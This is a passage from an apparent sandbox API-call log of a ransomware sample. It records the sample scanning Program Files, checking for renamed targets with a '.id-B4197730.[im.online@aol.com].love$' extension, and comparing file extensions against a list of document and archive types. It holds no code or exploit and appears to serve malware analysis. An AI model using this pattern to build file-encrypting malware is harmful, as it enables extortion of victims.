shared\\ink\\zh-tw\\tipresx.dll.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.521] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.521] lstrlenW (lpString=".doc") returned 4 [0229.521] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.521] lstrlenW (lpString=".docx") returned 5 [0229.521] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.522] lstrlenW (lpString=".pdf") returned 4 [0229.522] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.522] lstrlenW (lpString=".xls") returned 4 [0229.522] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.522] lstrlenW (lpString=".xlsx") returned 5 [0229.522] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.522] lstrlenW (lpString=".ppt") returned 4 [0229.522] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.522] lstrlenW (lpString=".zip") returned 4 [0229.522] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.522] lstrlenW (lpString=".rar") returned 4 [0229.522] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.522] lstrlenW (lpString=".bz2") returned 4 [0229.522] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.522] lstrlenW (lpString=".7z") returned 3 [0229.522] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.522] lstrlenW (lpString=".dbf") returned 4 [0229.522] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.522] lstrlenW (lpString=".1cd") returned 4 [0229.522] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.522] lstrlenW (lpString=".jpg") returned 4 [0229.522] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.522] lstrlenW (lpString=".doc") returned 4 [0229.523] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.523] lstrlenW (lpString=".docx") returned 5 [0229.523] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0229.523] lstrlenW (lpString=".pdf") returned 4 [0229.523] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.523] lstrlenW (lpString=".xls") returned 4 [0229.523] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.523] lstrlenW (lpString=".xlsx") returned 5 [0229.523] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0229.523] lstrlenW (lpString=".ppt") returned 4 [0229.523] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.523] lstrlenW (lpString=".zip") returned 4 [0229.523] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.523] lstrlenW (lpString=".rar") returned 4 [0229.523] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.523] lstrlenW (lpString=".bz2") returned 4 [0229.523] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.523] lstrlenW (lpString=".7z") returned 3 [0229.523] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.524] lstrlenW (lpString=".dbf") returned 4 [0229.524] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.524] lstrlenW (lpString=".1cd") returned 4 [0229.524] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.524] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0229.524] lstrlenW (lpString=".jpg") returned 4 [0229.524] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.524] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0229.524] lstrlenW (lpString="msinfo32.exe.mui") returned 16 [0229.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.526] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=30720) returned 1 [0229.526] CloseHandle (hObject=0x404) returned 1 [0229.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0229.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.526] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.526] lstrlenW (lpString=".doc") returned 4 [0229.526] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.526] lstrlenW (lpString=".docx") returned 5 [0229.526] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0229.526] lstrlenW (lpString=".pdf") returned 4 [0229.526] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.526] lstrlenW (lpString=".xls") returned 4 [0229.526] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.526] lstrlenW (lpString=".xlsx") returned 5 [0229.526] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0229.526] lstrlenW (lpString=".ppt") returned 4 [0229.526] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.527] lstrlenW (lpString=".zip") returned 4 [0229.527] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.527] lstrlenW (lpString=".rar") returned 4 [0229.527] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.527] lstrlenW (lpString=".bz2") returned 4 [0229.527] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.527] lstrlenW (lpString=".7z") returned 3 [0229.527] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.527] lstrlenW (lpString=".dbf") returned 4 [0229.527] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.527] lstrlenW (lpString=".1cd") returned 4 [0229.527] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.527] lstrlenW (lpString=".jpg") returned 4 [0229.527] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.527] lstrlenW (lpString=".doc") returned 4 [0229.527] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0229.527] lstrlenW (lpString=".docx") returned 5 [0229.527] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0229.527] lstrlenW (lpString=".pdf") returned 4 [0229.527] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0229.527] lstrlenW (lpString=".xls") returned 4 [0229.527] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0229.527] lstrlenW (lpString=".xlsx") returned 5 [0229.528] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0229.528] lstrlenW (lpString=".ppt") returned 4 [0229.528] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0229.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.528] lstrlenW (lpString=".zip") returned 4 [0229.528] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0229.528] lstrlenW (lpString=".rar") returned 4 [0229.528] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0229.528] lstrlenW (lpString=".bz2") returned 4 [0229.528] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0229.528] lstrlenW (lpString=".7z") returned 3 [0229.528] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0229.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.528] lstrlenW (lpString=".dbf") returned 4 [0229.528] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0229.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.528] lstrlenW (lpString=".1cd") returned 4 [0229.528] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0229.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\en-US\\msinfo32.exe.mui") returned 76 [0229.528] lstrlenW (lpString=".jpg") returned 4 [0229.528] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0229.528] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0229.528] lstrlenW (lpString="msinfo32.exe") returned 12 [0229.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.530] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=370176) returned 1 [0229.530] CloseHandle (hObject=0x404) returned 1 [0229.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0229.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.530] lstrlenW (lpString=".doc") returned 4 [0229.530] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.530] lstrlenW (lpString=".docx") returned 5 [0229.530] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0229.530] lstrlenW (lpString=".pdf") returned 4 [0229.530] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.531] lstrlenW (lpString=".xls") returned 4 [0229.531] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.531] lstrlenW (lpString=".xlsx") returned 5 [0229.531] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0229.531] lstrlenW (lpString=".ppt") returned 4 [0229.531] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.531] lstrlenW (lpString=".zip") returned 4 [0229.531] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.531] lstrlenW (lpString=".rar") returned 4 [0229.531] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.531] lstrlenW (lpString=".bz2") returned 4 [0229.531] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.531] lstrlenW (lpString=".7z") returned 3 [0229.531] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.531] lstrlenW (lpString=".dbf") returned 4 [0229.531] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0229.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.531] lstrlenW (lpString=".1cd") returned 4 [0229.531] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0229.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.531] lstrlenW (lpString=".jpg") returned 4 [0229.531] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0229.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.531] lstrlenW (lpString=".doc") returned 4 [0229.531] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0229.531] lstrlenW (lpString=".docx") returned 5 [0229.531] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0229.532] lstrlenW (lpString=".pdf") returned 4 [0229.532] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0229.532] lstrlenW (lpString=".xls") returned 4 [0229.532] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0229.532] lstrlenW (lpString=".xlsx") returned 5 [0229.532] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0229.532] lstrlenW (lpString=".ppt") returned 4 [0229.532] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0229.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.532] lstrlenW (lpString=".zip") returned 4 [0229.532] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0229.532] lstrlenW (lpString=".rar") returned 4 [0229.532] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0229.532] lstrlenW (lpString=".bz2") returned 4 [0229.532] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0229.532] lstrlenW (lpString=".7z") returned 3 [0229.532] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0229.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.532] lstrlenW (lpString=".dbf") returned 4 [0229.532] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0229.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.532] lstrlenW (lpString=".1cd") returned 4 [0229.532] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0229.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0229.532] lstrlenW (lpString=".jpg") returned 4 [0229.532] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0229.532] lstrcmpiW (lpString1=".EXE", lpString2=".love$") returned -1 [0229.533] lstrlenW (lpString="LICLUA.EXE") returned 10 [0229.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0229.534] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=363728) returned 1 [0229.534] CloseHandle (hObject=0x404) returned 1 [0229.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe")) returned 0x20 [0229.534] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0229.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0229.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0229.534] lstrlenW (lpString=".doc") returned 4 [0229.534] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0229.534] lstrlenW (lpString=".docx") returned 5 [0229.535] lstrcmpiW (lpString1=".docx", lpString2="A.EXE") returned -1 [0229.535] lstrlenW (lpString=".pdf") returned 4 [0229.535] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0229.535] lstrlenW (lpString=".xls") returned 4 [0229.535] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0229.535] lstrlenW (lpString=".xlsx") returned 5 [0229.535] lstrcmpiW (lpString1=".xlsx", lpString2="A.EXE") returned -1 [0229.535] lstrlenW (lpString=".ppt") returned 4 [0229.535] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0229.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0229.535] lstrlenW (lpString=".zip") returned 4 [0229.535] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0229.535] lstrlenW (lpString=".rar") returned 4 [0229.535] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0229.535] lstrlenW (lpString=".bz2") returned 4 [0229.535] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0229.535] lstrlenW (lpString=".7z") returned 3 [0229.535] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0229.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 66 [0229.535] lstrlenW (lpString=".dbf") returned 4 [0229.535] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0230.326] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=587840) returned 1 [0230.326] CloseHandle (hObject=0x458) returned 1 [0230.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0230.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.329] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0230.329] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.330] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=16448) returned 1 [0230.330] CloseHandle (hObject=0x458) returned 1 [0230.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0230.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.330] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.331] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.332] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=204864) returned 1 [0230.332] CloseHandle (hObject=0x458) returned 1 [0230.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll")) returned 0x20 [0230.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.333] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\splashscreen.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\splashscreen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.333] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.333] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.334] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=571968) returned 1 [0230.334] CloseHandle (hObject=0x458) returned 1 [0230.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll")) returned 0x20 [0230.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.335] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0230.335] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0230.336] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=70208) returned 1 [0230.336] CloseHandle (hObject=0x458) returned 1 [0230.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe")) returned 0x20 [0230.336] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0230.336] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\ssvagent.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\ssvagent.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.337] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0230.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunec.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunec.dll"), dwDesiredAccess=0x80000000, 